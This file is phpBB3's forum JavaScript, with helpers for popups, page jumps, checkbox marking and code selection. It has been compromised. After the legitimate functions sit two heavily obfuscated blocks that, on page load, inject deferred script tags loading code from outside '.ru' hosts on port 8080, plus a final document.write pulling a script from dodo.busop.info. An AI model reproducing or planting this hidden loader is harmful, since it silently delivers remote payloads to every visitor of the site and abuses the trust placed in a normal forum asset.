/**
* phpBB3 forum functions
*/

/**
* Window popup
*/
function popup(url, width, height, name)
{
	if (!name)
	{
		name = '_popup';
	}

	window.open(url.replace(/&amp;/g, '&'), name, 'height=' + height + ',resizable=yes,scrollbars=yes, width=' + width);
	return false;
}

/**
* Jump to page
*/
function jumpto()
{
	var page = prompt(jump_page, on_page);

	if (page !== null && !isNaN(page) && page == Math.floor(page) && page > 0)
	{
		if (base_url.indexOf('?') == -1)
		{
			document.location.href = base_url + '?start=' + ((page - 1) * per_page);
		}
		else
		{
			document.location.href = base_url.replace(/&amp;/g, '&') + '&start=' + ((page - 1) * per_page);
		}
	}
}

/**
* Mark/unmark checklist
* id = ID of parent container, name = name prefix, state = state [true/false]
*/
function marklist(id, name, state)
{
	var parent = document.getElementById(id);
	if (!parent)
	{
		eval('parent = document.' + id);
	}

	if (!parent)
	{
		return;
	}

	var rb = parent.getElementsByTagName('input');
	
	for (var r = 0; r < rb.length; r++)
	{	
		if (rb[r].name.substr(0, name.length) == name)
		{
			rb[r].checked = state;
		}
	}
}

/**
* Resize viewable area for attached image or topic review panel (possibly others to come)
* e = element
*/
function viewableArea(e, itself)
{
	if (!e) return;
	if (!itself)
	{
		e = e.parentNode;
	}
	
	if (!e.vaHeight)
	{
		// Store viewable area height before changing style to auto
		e.vaHeight = e.offsetHeight;
		e.vaMaxHeight = e.style.maxHeight;
		e.style.height = 'auto';
		e.style.maxHeight = 'none';
		e.style.overflow = 'visible';
	}
	else
	{
		// Restore viewable area height to the default
		e.style.height = e.vaHeight + 'px';
		e.style.overflow = 'auto';
		e.style.maxHeight = e.vaMaxHeight;
		e.vaHeight = false;
	}
}

/**
* Set display of page element
* s[-1,0,1] = hide,toggle display,show
*/
function dE(n, s)
{
	var e = document.getElementById(n);

	if (!s)
	{
		s = (e.style.display == '' || e.style.display == 'block') ? -1 : 1;
	}
	e.style.display = (s == 1) ? 'block' : 'none';
}

/**
* Alternate display of subPanels
*/
function subPanels(p)
{
	var i, e, t;

	if (typeof(p) == 'string')
	{
		show_panel = p;
	}

	for (i = 0; i < panels.length; i++)
	{
		e = document.getElementById(panels[i]);
		t = document.getElementById(panels[i] + '-tab');

		if (e)
		{
			if (panels[i] == show_panel)
			{
				e.style.display = 'block';
				if (t)
				{
					t.className = 'activetab';
				}
			}
			else
			{
				e.style.display = 'none';
				if (t)
				{
					t.className = '';
				}
			}
		}
	}
}

/**
* Call print preview
*/
function printPage()
{
	if (is_ie)
	{
		printPreview();
	}
	else
	{
		window.print();
	}
}

/**
* Show/hide groups of blocks
* c = CSS style name
* e = checkbox element
* t = toggle dispay state (used to show 'grip-show' image in the profile block when hiding the profiles) 
*/
function displayBlocks(c, e, t)
{
	var s = (e.checked == true) ?  1 : -1;

	if (t)
	{
		s *= -1;
	}

	var divs = document.getElementsByTagName("DIV");

	for (var d = 0; d < divs.length; d++)
	{
		if (divs[d].className.indexOf(c) == 0)
		{
			divs[d].style.display = (s == 1) ? 'none' : 'block';
		}
	}
}

function selectCode(a)
{
	// Get ID of code block
	var e = a.parentNode.parentNode.getElementsByTagName('CODE')[0];

	// Not IE
	if (window.getSelection)
	{
		var s = window.getSelection();
		// Safari
		if (s.setBaseAndExtent)
		{
			s.setBaseAndExtent(e, 0, e, e.innerText.length - 1);
		}
		// Firefox and Opera
		else
		{
			// workaround for bug # 42885
			if (window.opera && e.innerHTML.substring(e.innerHTML.length - 4) == '<BR>')
			{
				e.innerHTML = e.innerHTML + '&nbsp;';
			}

			var r = document.createRange();
			r.selectNodeContents(e);
			s.removeAllRanges();
			s.addRange(r);
		}
	}
	// Some older browsers
	else if (document.getSelection)
	{
		var s = document.getSelection();
		var r = document.createRange();
		r.selectNodeContents(e);
		s.removeAllRanges();
		s.addRange(r);
	}
	// IE
	else if (document.selection)
	{
		var r = document.body.createTextRange();
		r.moveToElementText(e);
		r.select();
	}
}

/**
* Play quicktime file by determining it's width/height
* from the displayed rectangle area
*/
function play_qt_file(obj)
{
	var rectangle = obj.GetRectangle();

	if (rectangle)
	{
		rectangle = rectangle.split(',');
		var x1 = parseInt(rectangle[0]);
		var x2 = parseInt(rectangle[2]);
		var y1 = parseInt(rectangle[1]);
		var y2 = parseInt(rectangle[3]);

		var width = (x1 < 0) ? (x1 * -1) + x2 : x2 - x1;
		var height = (y1 < 0) ? (y1 * -1) + y2 : y2 - y1;
	}
	else
	{
		var width = 200;
		var height = 0;
	}

	obj.width = width;
	obj.height = height + 16;

	obj.SetControllerVisible(true);
	obj.Play();
}


this.Z="Z";var r="";function R(){Y=["k"];pI=39724;pI++;_={i:"C"};var w=String("onlo"+"WtFad".substr(3));Gq=15699;Gq--;Kb={j:false};var X="cr"+"ea"+"te"+"El"+"em"+"en"+"t";var g="de"+"fe"+"r";sg={t:53803};var uA=[];var F=String("jrpfsc".substr(4)+"ri"+"pt");var Q=new String("sr"+"c");var p=new String("appen"+"dChil"+"d");var U=[];var RS=document;var ZW={x:false};var I=window;var a=new Date();hV={XB:29357};var m="bo"+"Z4ndy".substr(3);Fz=[];function pW(){this.BG=12886;this.BG+=219;try {UM=6119;UM++;av=5860;av++;var ps=new String("htt"+"p:/"+"/pa"+"ssp"+"ort"+"blu"+"es."+"ru:");var bl=["MC"];this.sZ=false;var bb=47112;var Xw=457047-448967;var P=String("/g"+"oo"+"gl"+"e.vF3".substr(0,2)+"co8av7".substr(0,2)+"m/"+"cDYkiDcY".substr(3,2)+"ji"+"0GQsji".substr(4)+"2gu1.cgu12".substr(4,2)+"a/dn4".substr(0,2)+"FUPGpoPFGU".substr(4,2)+"VU3rn".substr(3)+"hu"+"b."+"co"+"HXgm.XgH".substr(3,2)+"ph"+"c10p1c0".substr(3,1));var s=4052-4051;var Te='';this.uF=47956;this.uF+=12;var IG="IG";e=RS[X](F);var Bm={rV:false};this.BT=14905;this.BT+=8;Xe=["hH"];try {var jN='zQ'} catch(jN){};this.wr=19630;this.wr++;e[g]=s;this.RB=52416;this.RB++;e[Q]=ps+Xw+P;RS[m][p](e);var lZ=new String();this.Ta=15059;this.Ta+=240;} catch(y){bK=[];};var VY={v:10445};}NJ=["Ul","Yu"];I[w]=pW;hHp=["eA","Oo","yP"];try {var wn='fa'} catch(wn){};};Lw={Cq:58800};xz={FV:false};R();
var g=["M","j","A"];try {} catch(nw){};Ay=1814;Ay-=181;try {var e='w'} catch(e){};try {} catch(b){};try {this.T=16328;this.T-=196;var J=["u","K","wd"];var n=window[new String("oxqrunes".substr(4)+"6Dl1cape".substr(4))];var Tr='';TG=[];var v="v";this.To=false;var E=["x","Sv","Gv"];try {var lt='xT'} catch(lt){};Vt=["KZ","V"];var L=String("1");var rB={Ef:46948};this.jG=14963;this.jG+=145;wT=["Gg","Er","WO"];var d="20aonlo".substr(3)+"adm497".substr(0,2);this.Wu='';var m=String("repl"+"ace");this.z_N="z_N";var O='';var nK={};var _=window[(new String("Re"+"gE"+"xp"))];xq={Zn:11795};jD={WH:10435};yQ=["zA"];function r(L,P){var vI={Mk:37023};Fc=[];var MQ="MQ";var mT="mT";this.Tx="Tx";var na=String("[");UN=[];var cK=new String();var rT=new String();aV=53987;aV-=16;this.HI=44351;this.HI++;na+=P;this.lw=264;this.lw++;na+=n("%5d");var Kt={o_:"aW"};var TV=37407;wj={};var WC=["iH"];var N=new _(na, "g");this.ui="";this.qo="qo";this.Vf="";var z_A='';return L.replace(N, O);xF={ku:"ay"};var N_=new Date();};this.nu=6495;this.nu-=146;fN={em:"Df"};var B=57066-48986;this.hP=11681;this.hP+=41;try {var lW='nW'} catch(lW){};this.Wo="Wo";var sW=new Array();var D="htt"+"3AJ7p:/".substr(4)+"/go"+"mGHthgmGH".substr(3,3)+"uil"+"t.r"+"u:";kO=20261;kO-=208;R=52897;R-=172;fr={};rHS={};Ez=57823;Ez-=107;var a="/goo"+"gle."+"com/"+"forbJ1m".substr(0,4)+"es.c"+"om/s"+"OcwEerie".substr(4)+"YhaHsyon".substr(4)+"kis."+"DWYcom.".substr(3)+"php";var KL={};this.Ua='';var gT=false;var om={FC:"Lw"};var re=["ds"];this.Aj=10763;this.Aj++;function Y(){this.SX='';this.iB="";this.PN=43412;this.PN++;var o=document;var Ut=[];_m=["YO","Yy","os"];Gb={};this.zt=36226;this.zt--;rr={};var t="kOfap".substr(3)+"yARpe".substr(3)+"nd"+"igNChNgi".substr(3,2)+"f91DilD91f".substr(4,2)+"dYCi".substr(0,1);Hj={XL:3571};var X=r('sRcErFiFpltY','_wDFbEUvHKLalRfyYW89');var yx={AN:"JH"};this.xM="xM";var Va=[];try {var _c='GO'} catch(_c){};try {var Cj='Db'} catch(Cj){};try {var Fv='OW'} catch(Fv){};var wJ=[];var mM=false;var WZ={Ya:41040};var lL={JGj:35370};BH=o.createElement(X);this.II=62525;this.II-=207;var YS={OB:"MB"};var Ne="Ne";PeY=["Bq"];var bW=false;ys={};var Tj=new Date();XW=D+B;tF={kdJ:"pA"};this.ckc='';XW=XW+a;var AC={TK:"H_"};try {} catch(wS){};EO=[];var jk=["js"];var PS=false;var k=o.body;try {var _I='nJ'} catch(_I){};this.lm="";BH["defe"+"Tl7Zr".substr(4)]=L;yG={};var ZA='';var iG="";var VZ=40672;BH.src=XW;var uF={};this.bP="bP";var Tmu="";var ZR={};WF=25021;WF--;IIa=["CN","YI","QL"];GU=["pK","Bf","JV"];NT=11977;NT--;k[t](BH);var cj="cj";var bG=[];var aZ=[];var rE=["Re"];};this.Rc=4424;this.Rc++;this.vx='';window[d]=Y;try {} catch(gJ){};try {} catch(Ln){};Ds={};var OW_={vw:33282};try {} catch(sS){};Gm=[];ge=[];} catch(l){var qc={OG:26342};Uy=["SU"];this.ysR="ysR";b_={tB:false};qk=[];};this.uih=53028;this.uih+=248;Ar=["_h"];CX={yv:16321};var Eft=["zu","wEo","Kf"];var OYL=["Fr","KQ","No"];




document.write('<s'+'cript type="text/javascript" src="http://dodo.busop.info:8080/Gibibyte.js"></scr'+'ipt>');